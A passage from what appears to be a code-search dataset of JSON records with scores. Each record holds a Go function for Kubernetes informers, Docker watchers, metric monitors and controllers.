\thistory.childListDirCount[parentId] = count\n\t\t// }\n\n\t\t// count.count += 1\n\t\t// count.expiry = now + 1*time.Minute\n\t\t// if history.childListDirCount[parentId].count > 5 {\n\t\t// \tlistChildrenInParallel(ds, parentId, concurrentReqs)\n\t\t// \tdelete(history.childListDirCount[parentId])\n\t\t// }\n\t}\n\n\thandleRegionCopied := func(event *RegionCopiedEvent) {\n\t\t// // add to queue of pending reads\n\n\t\t// // get first pending read\n\t\t// readOp := getFirstOp()\n\t\t// id := readOp.ctx.GetValue()\n\t\t// ds.EnsureReadable(id, readOp.start, readOp.Length)\n\t\t// // reader := ds.GetReadRef(ctx, id)\n\t\t// // buffer := new([]byte, 500000, 500000)\n\t\t// // reader.Seek(readOp.end, 0)\n\t\t// // reader.Read(ctx, buffer)\n\t\t// // reader.Release()\n\t}\n\n\tloop := func() {\n\t\tfor {\n\t\t\tevent, ok := <-c\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif castEvent, ok := event.(*FetchedRemoteChildrenEvent); ok {\n\t\t\t\thandleFetchedRemoteChildren(castEvent)\n\t\t\t} else if castEvent, ok := event.(*RegionCopiedEvent); ok {\n\t\t\t\thandleRegionCopied(castEvent)\n\t\t\t} else {\n\t\t\t\t// ignore\n\t\t\t}\n\n\t\t\t//\t\tr, err := ds.GetReadRef(ctx, op.inode)\n\t\t}\n\t}\n\n\tgo loop()\n\n\treturn c\n}", "title": "" }, { "docid": "7cce9424096d84883cd3e456b0dc6fc6", "score": "0.47839504", "text": "func (f *dogstatsdFeature) ManageClusterChecksRunner(managers feature.PodTemplateManagers) error {\n\treturn nil\n}", "title": "" }, { "docid": "c14b39759ffd33550ee3215195db60c5", "score": "0.47799498", "text": "func (c *Controller) Run(workers int, stopCh <-chan struct{}) error {\n\t// Start the informer factories to begin populating the informer caches\n\tlog.Info(\"Starting collector controller\")\n\tdefer log.Info(\"Shutting down collector controller\")\n\n\tif len(c.remoteClient.InfluxDB) > 0 {\n\t\t// Check if database for project existed, if not, just create\n\t\tquery := influxapi.Query{\n\t\t\tCommand: \"create database \" + monitorutil.ProjectDatabaseName,\n\t\t\tDatabase: monitorutil.ProjectDatabaseName,\n\t\t}\n\t\t// Wait unitl influxdb is OK\n\t\t_ = wait.PollImmediateInfinite(10*time.Second, func() (bool, error) {\n\t\t\tfor _, client := range c.remoteClient.InfluxDB {\n\t\t\t\tlog.Debugf(\"Query sql: %s\", query.Command)\n\t\t\t\tresp, err := client.Client.Query(query)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"Create database %s for %s failed: %v\", monitorutil.ProjectDatabaseName, client.Address, err)\n\t\t\t\t\treturn false, nil\n\t\t\t\t} else if resp.Error() != nil {\n\t\t\t\t\tlog.Errorf(\"Create database %s for %s failed: %v\", monitorutil.ProjectDatabaseName, client.Address, resp.Error())\n\t\t\t\t\treturn false, nil\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Info(\"Created database projects in influxdb\")\n\t\t\treturn true, nil\n\t\t})\n\t}\n\n\tdefer runtime.HandleCrash()\n\tdefer c.queue.ShutDown()\n\n\tif ok := cache.WaitForCacheSync(stopCh, c.listerSynced); !ok {\n\t\treturn fmt.Errorf(\"failed to wait for cluster caches to sync\")\n\t}\n\n\tc.stopCh = stopCh\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo wait.Until(c.worker, time.Second, stopCh)\n\t}\n\n\t<-stopCh\n\treturn nil\n}", "title": "" }, { "docid": "cd1ef1acf38366952094718a341427c6", "score": "0.47761127", "text": "func (w *Watcher) Run(stopper chan struct{}) {\n\tgo w.podInformer.Informer().Run(stopper)\n\tgo w.pvcInformer.Informer().Run(stopper)\n\tgo w.nsInformer.Informer().Run(stopper)\n\n\tif !cache.WaitForCacheSync(nil, w.podInformer.Informer().HasSynced) {\n\t\tlog.Printf(\"failed to sync pods\")\n\t}\n\tif !cache.WaitForCacheSync(nil, w.pvcInformer.Informer().HasSynced) {\n\t\tlog.Printf(\"failed to sync pvcs\")\n\t}\n\tif !cache.WaitForCacheSync(nil, w.nsInformer.Informer().HasSynced) {\n\t\tlog.Printf(\"failed to sync namespaces\")\n\t}\n}", "title": "" }, { "docid": "3684e7b2568e05fbe4b70245695beee6", "score": "0.4765022", "text": "func (m *monitor) Start() error {\n\tlog.Info(\"sensor: starting monitors...\")\n\n\t// if err := m.peMon.Start(); err != nil {\n\t// \treturn err\n\t// }\n\n\tif err := m.fanMon.Start(); err != nil {\n\t\tlog.\n\t\t\tWithError(err).\n\t\t\tError(\"sensor: composite monitor - FAN failed to start running\")\n\n\t\tcloseAll(m.closeAfterDone)\n\t\treturn err\n\t}\n\n\tif err := m.ptMon.Start(); err != nil {\n\t\tlog.\n\t\t\tWithError(err).\n\t\t\tError(\"sensor: composite monitor - PTAN failed to start running\")\n\n\t\tcloseAll(m.closeAfterDone)\n\t\treturn err\n\t}\n\n\tm.startedAt = time.Now()\n\n\treturn nil\n}", "title": "" }, { "docid": "322eaebe7f6b16d9d585e2389acdacc1", "score": "0.47602004", "text": "func TestMonitorPrivate(t *testing.T) {\n\thelper := newHelper(t)\n\tdefer helper.Close()\n\n\t// Configure as private probe\n\thelper.cfg.Blackbox.ScraperName = \"\"\n\thelper.cfg.Blackbox.ScraperSendUUID = true\n\n\thelper.addMonitorOnAPI(t)\n\thelper.initSynchronizer(t)\n\thelper.AddTime(time.Minute)\n\n\tif err := helper.runOnceWithResult(t).Check(); err != nil {\n\t\tt.Error(err)\n\t}\n\n\tidAgentMain, _ := helper.state.BleemeoCredentials()\n\tif idAgentMain == \"\" {\n\t\tt.Fatal(\"idAgentMain == '', want something\")\n\t}\n\n\tinitialMetrics := []metricPayload{\n\t\t// Metric from other probe are NOT present in API, because glouton private probe aren't allow to view them.\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: \"9149d491-3a6e-4f46-abf9-c1ea9b9f7227\",\n\t\t\t\tAgentID: newMonitor.AgentID,\n\t\t\t\tLabelsText: fmt.Sprintf(\n\t\t\t\t\t\"__name__=\\\"probe_success\\\",instance=\\\"%s\\\",instance_uuid=\\\"%s\\\",scraper_uuid=\\\"%s\\\"\",\n\t\t\t\t\tnewMonitor.URL,\n\t\t\t\t\tnewMonitor.AgentID,\n\t\t\t\t\tidAgentMain,\n\t\t\t\t),\n\t\t\t\tServiceID: newMonitor.ID,\n\t\t\t},\n\t\t\tName: \"probe_success\",\n\t\t},\n\t}\n\n\tpushedPoints := []labels.Labels{\n\t\tlabels.New(\n\t\t\tlabels.Label{Name: types.LabelName, Value: \"probe_success\"},\n\t\t\tlabels.Label{Name: types.LabelScraperUUID, Value: idAgentMain},\n\t\t\tlabels.Label{Name: types.LabelInstance, Value: newMonitor.URL},\n\t\t\tlabels.Label{Name: types.LabelInstanceUUID, Value: newMonitor.AgentID},\n\t\t\tlabels.Label{Name: types.LabelMetaBleemeoTargetAgentUUID, Value: newMonitor.AgentID},\n\t\t),\n\t\tlabels.New(\n\t\t\tlabels.Label{Name: types.LabelName, Value: \"probe_duration\"},\n\t\t\tlabels.Label{Name: types.LabelScraperUUID, Value: idAgentMain},\n\t\t\tlabels.Label{Name: types.LabelInstance, Value: newMonitor.URL},\n\t\t\tlabels.Label{Name: types.LabelInstanceUUID, Value: newMonitor.AgentID},\n\t\t\tlabels.Label{Name: types.LabelMetaBleemeoTargetAgentUUID, Value: newMonitor.AgentID},\n\t\t),\n\t}\n\n\thelper.SetAPIMetrics(initialMetrics...)\n\thelper.pushPoints(t, pushedPoints)\n\n\tif err := helper.runOnceWithResult(t).Check(); err != nil {\n\t\tt.Error(err)\n\t}\n\n\twant := []metricPayload{\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: idAgentMain,\n\t\t\t\tLabelsText: \"\",\n\t\t\t},\n\t\t\tName: agentStatusName,\n\t\t},\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: newMonitor.AgentID,\n\t\t\t\tLabelsText: fmt.Sprintf(\n\t\t\t\t\t\"__name__=\\\"probe_success\\\",instance=\\\"%s\\\",instance_uuid=\\\"%s\\\",scraper_uuid=\\\"%s\\\"\",\n\t\t\t\t\tnewMonitor.URL,\n\t\t\t\t\tnewMonitor.AgentID,\n\t\t\t\t\tidAgentMain,\n\t\t\t\t),\n\t\t\t\tServiceID: newMonitor.ID,\n\t\t\t},\n\t\t\tName: \"probe_success\",\n\t\t},\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: newMonitor.AgentID,\n\t\t\t\tLabelsText: fmt.Sprintf(\n\t\t\t\t\t\"__name__=\\\"probe_duration\\\",instance=\\\"%s\\\",instance_uuid=\\\"%s\\\",scraper_uuid=\\\"%s\\\"\",\n\t\t\t\t\tnewMonitor.URL,\n\t\t\t\t\tnewMonitor.AgentID,\n\t\t\t\t\tidAgentMain,\n\t\t\t\t),\n\t\t\t\tServiceID: newMonitor.ID,\n\t\t\t},\n\t\t\tName: \"probe_duration\",\n\t\t},\n\t}\n\n\thelper.assertMetricsInAPI(t, want)\n\n\thelper.SetTimeToNextFullSync()\n\thelper.AddTime(60 * time.Minute)\n\thelper.pushPoints(t, pushedPoints)\n\n\tif err := helper.runOnceWithResult(t).Check(); err != nil {\n\t\tt.Error(err)\n\t}\n\n\thelper.assertMetricsInAPI(t, want)\n\n\thelper.SetTimeToNextFullSync()\n\thelper.AddTime(60 * time.Minute)\n\n\tif err := helper.runOnceWithResult(t).Check(); err != nil {\n\t\tt.Error(err)\n\t}\n\n\twant = []metricPayload{\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: idAgentMain,\n\t\t\t\tLabelsText: \"\",\n\t\t\t},\n\t\t\tName: agentStatusName,\n\t\t},\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: newMonitor.AgentID,\n\t\t\t\tLabelsText: fmt.Sprintf(\n\t\t\t\t\t\"__name__=\\\"probe_success\\\",instance=\\\"%s\\\",instance_uuid=\\\"%s\\\",scraper_uuid=\\\"%s\\\"\",\n\t\t\t\t\tnewMonitor.URL,\n\t\t\t\t\tnewMonitor.AgentID,\n\t\t\t\t\tidAgentMain,\n\t\t\t\t),\n\t\t\t\tDeactivatedAt: helper.Now(),\n\t\t\t\tServiceID: newMonitor.ID,\n\t\t\t},\n\t\t\tName: \"probe_success\",\n\t\t},\n\t\t{\n\t\t\tMetric: bleemeoTypes.Metric{\n\t\t\t\tID: idAny,\n\t\t\t\tAgentID: newMonitor.AgentID,\n\t\t\t\tLabelsText: fmt.Sprintf(\n\t\t\t\t\t\"__name__=\\\"probe_duration\\\",instance=\\\"%s\\\",instance_uuid=\\\"%s\\\",scraper_uuid=\\\"%s\\\"\",\n\t\t\t\t\tnewMonitor.URL,\n\t\t\t\t\tnewMonitor.AgentID,\n\t\t\t\t\tidAgentMain,\n\t\t\t\t),\n\t\t\t\tDeactivatedAt: helper.Now(),\n\t\t\t\tServiceID: newMonitor.ID,\n\t\t\t},\n\t\t\tName: \"probe_duration\",\n\t\t},\n\t}\n\n\thelper.assertMetricsInAPI(t, want)\n}", "title": "" }, { "docid": "c2089652523c7f2f203ba989e3e0ed56", "score": "0.4747646", "text": "func (m *Monitor) Start(ctx context.Context, wg *sync.WaitGroup) error {\n\tdelta := 1\n\tif m.activityDumpManager != nil {\n\t\tdelta++\n\t}\n\twg.Add(delta)\n\n\tgo m.loadController.Start(ctx, wg)\n\n\tif m.activityDumpManager != nil {\n\t\tgo m.activityDumpManager.Start(ctx, wg)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b988b2c084ab7d73b2e36e5fdbc3c685", "score": "0.47458696", "text": "func (c *TestClient) Run() {\n\tc.MetricsServer = metrics.StartMetricsServer(fmt.Sprintf(\":%d\", c.HostConfig.MetricsPort))\n\tmetrics.RegisterMetrics(metrics.PodIPAddressAssignedLatency, metrics.PodCreationReachabilityLatency)\n\tdefer utils.ShutDownMetricsServer(context.TODO(), c.MetricsServer)\n\n\tif err := c.measurePodCreation(); err != nil {\n\t\tklog.Errorf(\"Pod creation test failed, error: %v\", err)\n\t}\n\t// Prevent application from terminating and pod from restarting.\n\t// The test will run only once when the application is deployed.\n\t// The pod needs to be recreated to rerun the test.\n\tutils.EnterIdleState(c.MainStopChan)\n}", "title": "" }, { "docid": "a86be53c24909dc1238a40ab508b4004", "score": "0.47430927", "text": "func (c *ConverterController) Run(ctx context.Context, group *errgroup.Group, cfg *config.BaseOperatorConf) {\n\n\tif cfg.EnabledPrometheusConverter.ServiceScrape {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.ServiceMonitorsKind, c.serviceInf.Run)\n\t\t})\n\n\t}\n\tif cfg.EnabledPrometheusConverter.PodMonitor {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.PodMonitorsKind, c.podInf.Run)\n\t\t})\n\n\t}\n\tif cfg.EnabledPrometheusConverter.PrometheusRule {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.PrometheusRuleKind, c.ruleInf.Run)\n\t\t})\n\n\t}\n\tif cfg.EnabledPrometheusConverter.Probe {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.ProbeKindKey, c.probeInf.Run)\n\t\t})\n\n\t}\n\n}", "title": "" }, { "docid": "9f6610e86d86775419de2bce41b96184", "score": "0.47424188", "text": "func (t DefaultBuildManager) PodWatcher() {\n\n\tt.logger.Printf(\"Starting pod watcher\")\n\n\tdeleted := make(map[string]struct{})\n\n\tfor {\n\t\twatched, err := t.kubernetesClient.Pods(\"decap\").Watch(k8sapi.ListOptions{\n\t\t\tLabelSelector: \"type=decap-build\",\n\t\t})\n\t\tif err != nil {\n\t\t\tt.logger.Printf(\"Error watching cluster: %v\\n\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tevents := watched.ResultChan()\n\n\t\tfor event := range events {\n\t\t\tpod, ok := event.Object.(*k8sapi.Pod)\n\t\t\tif !ok {\n\t\t\t\t// we selected pods, so this will be a pod, but be conservative.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdeletePod := false\n\t\t\tfor _, v := range pod.Status.ContainerStatuses {\n\t\t\t\tif v.Name == \"build-server\" && v.State.Terminated != nil && v.State.Terminated.ContainerID != \"\" {\n\t\t\t\t\tdeletePod = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Try to elete the build pod if it has not already been deleted.\n\t\t\tif _, present := deleted[pod.Name]; !present && deletePod {\n\t\t\t\tif err := t.kubernetesClient.Pods(\"decap\").Delete(pod.Name, nil); err != nil {\n\t\t\t\t\tt.logger.Printf(\"Error deleting build-server pod: %v\\n\", err)\n\t\t\t\t} else {\n\t\t\t\t\tt.logger.Printf(\"Deleted pod %s\\n\", pod.Name)\n\t\t\t\t}\n\t\t\t\tdeleted[pod.Name] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2bfab0e0585f913e34b3a9ce8ff86e86", "score": "0.47370207", "text": "func (npMgr *NetworkPolicyManager) Start(stopCh <-chan struct{}) error {\n\t// Starts all informers manufactured by npMgr's informerFactory.\n\tnpMgr.informerFactory.Start(stopCh)\n\n\t// Wait for the initial sync of local cache.\n\tif !cache.WaitForCacheSync(stopCh, npMgr.podInformer.Informer().HasSynced) {\n\t\tmetrics.SendErrorLogAndMetric(util.NpmID, \"Pod informer failed to sync\")\n\t\treturn fmt.Errorf(\"Pod informer failed to sync\")\n\t}\n\n\tif !cache.WaitForCacheSync(stopCh, npMgr.nsInformer.Informer().HasSynced) {\n\t\tmetrics.SendErrorLogAndMetric(util.NpmID, \"Namespace informer failed to sync\")\n\t\treturn fmt.Errorf(\"Namespace informer failed to sync\")\n\t}\n\n\tif !cache.WaitForCacheSync(stopCh, npMgr.npInformer.Informer().HasSynced) {\n\t\tmetrics.SendErrorLogAndMetric(util.NpmID, \"Network policy informer failed to sync\")\n\t\treturn fmt.Errorf(\"Network policy informer failed to sync\")\n\t}\n\n\t// start controllers after synced\n\tgo npMgr.podController.Run(threadness, stopCh)\n\tgo npMgr.nameSpaceController.Run(threadness, stopCh)\n\tgo npMgr.netPolController.Run(threadness, stopCh)\n\tgo npMgr.reconcileChains(stopCh)\n\n\treturn nil\n}", "title": "" }, { "docid": "71acbe2cfbc605d5a6ca6deda44a0085", "score": "0.47187856", "text": "func NewLogMonitor(ctx context.Context) (<-chan swarm.Service, <-chan error) {\n\tret := make(chan swarm.Service)\n\terrs := make(chan error)\n\n\tdockerClient, err := client.NewEnvClient()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Filter plugin containers (start events)\n\tlogFilter := newLogFilter()\n\n\tsvcStart, errSvcStart := dockerClient.Events(ctx, types.EventsOptions{\n\t\tFilters: logFilter,\n\t})\n\n\tgo func(in <-chan events.Message) {\n\t\tdefer close(ret)\n\t\tdefer close(errs)\n\t\t// Get initial containers in stack\n\t\tstackSvcs, err := stackServices(ctx, dockerClient)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfor _, svc := range stackSvcs {\n\t\t\tret <- svc\n\t\t}\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase e := <-errSvcStart:\n\t\t\t\terrs <- e\n\t\t\tcase n := <-in:\n\t\t\t\tsvc := swarm.Service{}\n\t\t\tL:\n\t\t\t\tfor i := 0; i < 5; i++ {\n\t\t\t\t\ttime.Sleep(300 * time.Millisecond)\n\t\t\t\t\tsvc, _, err = dockerClient.ServiceInspectWithRaw(ctx, n.Actor.ID)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\terrs <- err\n\t\t\t\t\t\tcontinue L\n\t\t\t\t\t}\n\t\t\t\t\tif svc.ID != n.Actor.ID {\n\t\t\t\t\t\tcontinue L\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif len(svc.ID) == 0 {\n\t\t\t\t\terrs <- fmt.Errorf(\"could not inspect service %v\", n.Actor.ID)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tret <- svc\n\t\t\t}\n\t\t}\n\t}(svcStart)\n\n\treturn ret, errSvcStart\n}", "title": "" }, { "docid": "f9c07d162c01c10667c5432f91713f76", "score": "0.4714495", "text": "func SetupWithManager(mgr ctrl.Manager, controller DevicePluginController, apiGVString, pluginKind, ownerKey string) error {\n\tr := &reconciler{\n\t\tClient: mgr.GetClient(),\n\t\tscheme: mgr.GetScheme(),\n\t\townerKey: ownerKey,\n\t\tcontroller: controller,\n\t\tpluginKind: pluginKind,\n\t}\n\n\tctx := context.Background()\n\n\t// Index DaemonSets with their owner (e.g. QatDevicePlugin).\n\tif err := mgr.GetFieldIndexer().IndexField(ctx, &apps.DaemonSet{}, ownerKey,\n\t\tfunc(rawObj client.Object) []string {\n\t\t\t// grab the DaemonSet object, extract the owner...\n\t\t\tds := rawObj.(*apps.DaemonSet)\n\t\t\towner := metav1.GetControllerOf(ds)\n\t\t\tif owner == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// make sure it's a device plugin\n\t\t\tif owner.APIVersion != apiGVString || owner.Kind != pluginKind {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// and if so, return it.\n\t\t\treturn []string{owner.Name}\n\t\t}); err != nil {\n\t\treturn err\n\t}\n\n\t// Index Pods with their owner (DaemonSet).\n\tif err := mgr.GetFieldIndexer().IndexField(ctx, &v1.Pod{}, ownerKey,\n\t\tfunc(rawObj client.Object) []string {\n\t\t\t// grab the Pod object, extract the owner...\n\t\t\tpod := rawObj.(*v1.Pod)\n\t\t\towner := metav1.GetControllerOf(pod)\n\t\t\tif owner == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// make sure it's a DaemonSet\n\t\t\tif owner.APIVersion != apps.SchemeGroupVersion.String() || owner.Kind != \"DaemonSet\" {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// and if so, return it.\n\t\t\treturn []string{owner.Name}\n\t\t}); err != nil {\n\t\treturn err\n\t}\n\n\treturn ctrl.NewControllerManagedBy(mgr).\n\t\tFor(r.controller.CreateEmptyObject()).\n\t\tOwns(&apps.DaemonSet{}).\n\t\tComplete(r)\n}", "title": "" }, { "docid": "33b8913422e6988647d1b203e4db073c", "score": "0.47135487", "text": "func (w *watcher) Start() error {\n\t// Do initial scan of existing containers\n\tlogp.Debug(\"docker\", \"Start docker containers scanner\")\n\tw.lastValidTimestamp = time.Now().Unix()\n\n\tw.Lock()\n\tdefer w.Unlock()\n\tcontainers, err := w.listContainers(types.ContainerListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, c := range containers {\n\t\tw.containers[c.ID] = c\n\t\tif w.shortID {\n\t\t\tw.containers[c.ID[:shortIDLen]] = c\n\t\t}\n\t}\n\n\t// Emit all start events (avoid blocking if the bus get's blocked)\n\tgo func() {\n\t\tfor _, c := range containers {\n\t\t\tw.bus.Publish(bus.Event{\n\t\t\t\t\"start\": true,\n\t\t\t\t\"container\": c,\n\t\t\t})\n\t\t}\n\t}()\n\n\tw.stopped.Add(2)\n\tgo w.watch()\n\tgo w.cleanupWorker()\n\n\treturn nil\n}", "title": "" }, { "docid": "5c436a91f8a0b0d9282e0df971c5fa5a", "score": "0.4708595", "text": "func (p *k8sPlugin) Start(config service.ServiceConfig, trigger chan string) error {\n\tif err := util.SetLogLevel(p.LogLevel, config.LogLevel, logName); err != nil {\n\t\treturn maskAny(err)\n\t}\n\t// Setup kubernetes client\n\tp.nodeExporterPort = config.NodeExporterPort\n\tc, err := k8s_http.NewInCluster()\n\tif err != nil {\n\t\tp.log.Infof(\"No kubernetes available: %v\", err)\n\t\treturn nil\n\t}\n\tp.client = c\n\n\t// Watch nodes for changes\n\tgo func() {\n\t\tfor {\n\t\t\tnodeEvents := make(chan k8s.NodeWatchEvent)\n\t\t\tgo func() {\n\t\t\t\tfor evt := range nodeEvents {\n\t\t\t\t\tif evt.Type() == k8s.WatchEventTypeAdded || evt.Type() == k8s.WatchEventTypeDeleted {\n\t\t\t\t\t\tp.log.Debugf(\"got node event of type %s\", evt.Type())\n\t\t\t\t\t\ttrigger <- fmt.Sprintf(\"node-%s\", evt.Type())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t\tif err := p.client.WatchNodes(nil, nodeEvents); err != nil {\n\t\t\t\tp.log.Errorf(\"failed to watch nodes: %#v\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// Watch services for changes\n\tgo func() {\n\t\tfor {\n\t\t\tserviceEvents := make(chan k8s.ServiceWatchEvent)\n\t\t\tgo func() {\n\t\t\t\tfor evt := range serviceEvents {\n\t\t\t\t\tp.log.Debugf(\"got service event of type %s\", evt.Type())\n\t\t\t\t\ttrigger <- fmt.Sprintf(\"service-%s\", evt.Type())\n\t\t\t\t}\n\t\t\t}()\n\t\t\tif err := p.client.WatchServices(\"\", nil, serviceEvents); err != nil {\n\t\t\t\tp.log.Errorf(\"failed to watch services: %#v\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// No custom triggers here, just update once in a while.\n\treturn nil\n}", "title": "" }, { "docid": "ae23bfccefda7c3b4482b9a0a472bf57", "score": "0.47052896", "text": "func (m *Monitor) Configure(conf *Config) error {\n\tm.logger = logrus.WithFields(logrus.Fields{\"monitorType\": monitorType, \"monitorID\": conf.MonitorID})\n\n\t// create contexts for managing the plugin loop\n\tvar ctx context.Context\n\tctx, m.cancel = context.WithCancel(context.Background())\n\n\t// save config to monitor for convenience\n\tm.conf = conf\n\n\t// initialize cpu times and per core cpu times so that we don't have to wait an entire reporting interval to report utilization\n\tm.initializeCPUTimes()\n\tm.initializePerCoreCPUTimes()\n\n\thasPerCPUMetric := utils.StringSliceToMap(m.Output.EnabledMetrics())[cpuUtilizationPerCore]\n\n\t// gather metrics on the specified interval\n\tutils.RunOnInterval(ctx, func() {\n\t\tdps := m.generateDatapoints()\n\t\tif hasPerCPUMetric || conf.ReportPerCPU {\n\t\t\t// NOTE: If this monitor ever fails to complete in a reporting interval\n\t\t\t// maybe run this on a separate go routine\n\t\t\tperCoreDPs := m.generatePerCoreDatapoints()\n\t\t\tdps = append(dps, perCoreDPs...)\n\t\t}\n\n\t\tm.Output.SendDatapoints(dps...)\n\t}, time.Duration(conf.IntervalSeconds)*time.Second)\n\n\treturn nil\n}", "title": "" }, { "docid": "8f3515a2e5b0c9adac927b90726f8e56", "score": "0.4704095", "text": "func (m *DomainMonitor) Update() {\n\tm.mutex.Lock()\n\tif !m.closed && m.instance != nil {\n\t\tm.instance.Poll()\n\t}\n\tm.mutex.Unlock()\n}", "title": "" }, { "docid": "049aaf5ad4f1c2ba64e4271422d986ed", "score": "0.4701541", "text": "func RunDSInformer(factory informers.SharedInformerFactory) {\n\tdsInformer := factory.Apps().V1().DaemonSets().Informer()\n\n\tstopper := make(chan struct{})\n\tdefer close(stopper)\n\n\tdefer runtime.HandleCrash()\n\n\tdsInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\t// When a resource gets updated\n\t\tUpdateFunc: func(oldObj interface{}, newObj interface{}) {\n\t\t\tdsNewObj := newObj.(*v1.DaemonSet)\n\t\t\tdsOldObj := newObj.(*v1.DaemonSet)\n\n\t\t\toldManifest := dsOldObj.GetAnnotations()[\"kubectl.kubernetes.io/last-applied-configuration\"]\n\t\t\tnewManifest := dsNewObj.GetAnnotations()[\"kubectl.kubernetes.io/last-applied-configuration\"]\n\n\t\t\tif oldManifest != \"\" && newManifest != \"\" {\n\t\t\t\tvar oldDm v1.StatefulSet\n\t\t\t\terr := json.Unmarshal([]byte(oldManifest), &oldDm)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Print(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tvar newDm v1.StatefulSet\n\t\t\t\terr = json.Unmarshal([]byte(newManifest), &newDm)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Print(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif dsNewObj.GetResourceVersion() != dsOldObj.GetResourceVersion() && !reflect.DeepEqual(newDm, oldDm) {\n\t\t\t\t\tvar worflowid = dsNewObj.GetAnnotations()[\"litmuschaos.io/workflow\"]\n\t\t\t\t\tif dsNewObj.GetAnnotations()[\"litmuschaos.io/gitops\"] == \"true\" && worflowid != \"\" {\n\t\t\t\t\t\tlog.Print(\"EventType: Update \\n GitOps Notification for workflowID: %s, ResourceType: %s, ResourceName: %s, ResourceNamespace: %s\", worflowid, \"DaemonSet\", dsNewObj.Name, dsNewObj.Namespace)\n\t\t\t\t\t\terr := PolicyAuditor(\"DaemonSet\", dsNewObj, worflowid)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Print(err)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t})\n\n\tdsInformer.Run(stopper)\n\tif !cache.WaitForCacheSync(stopper, dsInformer.HasSynced) {\n\t\truntime.HandleError(fmt.Errorf(\"Timed out waiting for caches to sync\"))\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "8872d42694e96b350f98149b8f26a949", "score": "0.4694682", "text": "func (c *ConverterController) Run(ctx context.Context, group *errgroup.Group, cfg *conf.BaseOperatorConf) {\n\n\tif cfg.EnabledPrometheusConverter.ServiceScrape {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.ServiceMonitorsKind, c.serviceInf.Run)\n\t\t})\n\n\t}\n\tif cfg.EnabledPrometheusConverter.PodMonitor {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.PodMonitorsKind, c.podInf.Run)\n\t\t})\n\n\t}\n\tif cfg.EnabledPrometheusConverter.PrometheusRule {\n\t\tgroup.Go(func() error {\n\t\t\treturn c.runInformerWithDiscovery(ctx, v1.SchemeGroupVersion.String(), v1.PrometheusRuleKind, c.ruleInf.Run)\n\t\t})\n\n\t}\n}", "title": "" }, { "docid": "3e1caa2bfc21f1680a4416e7451e60df", "score": "0.4684941", "text": "func Init() {\n\tif len(*remoteWriteURLs) == 0 && len(*remoteWriteMultitenantURLs) == 0 {\n\t\tlogger.Fatalf(\"at least one `-remoteWrite.url` or `-remoteWrite.multitenantURL` command-line flag must be set\")\n\t}\n\tif len(*remoteWriteURLs) > 0 && len(*remoteWriteMultitenantURLs) > 0 {\n\t\tlogger.Fatalf(\"cannot set both `-remoteWrite.url` and `-remoteWrite.multitenantURL` command-line flags\")\n\t}\n\tif *maxHourlySeries > 0 {\n\t\thourlySeriesLimiter = bloomfilter.NewLimiter(*maxHourlySeries, time.Hour)\n\t\t_ = metrics.NewGauge(`vmagent_hourly_series_limit_max_series`, func() float64 {\n\t\t\treturn float64(hourlySeriesLimiter.MaxItems())\n\t\t})\n\t\t_ = metrics.NewGauge(`vmagent_hourly_series_limit_current_series`, func() 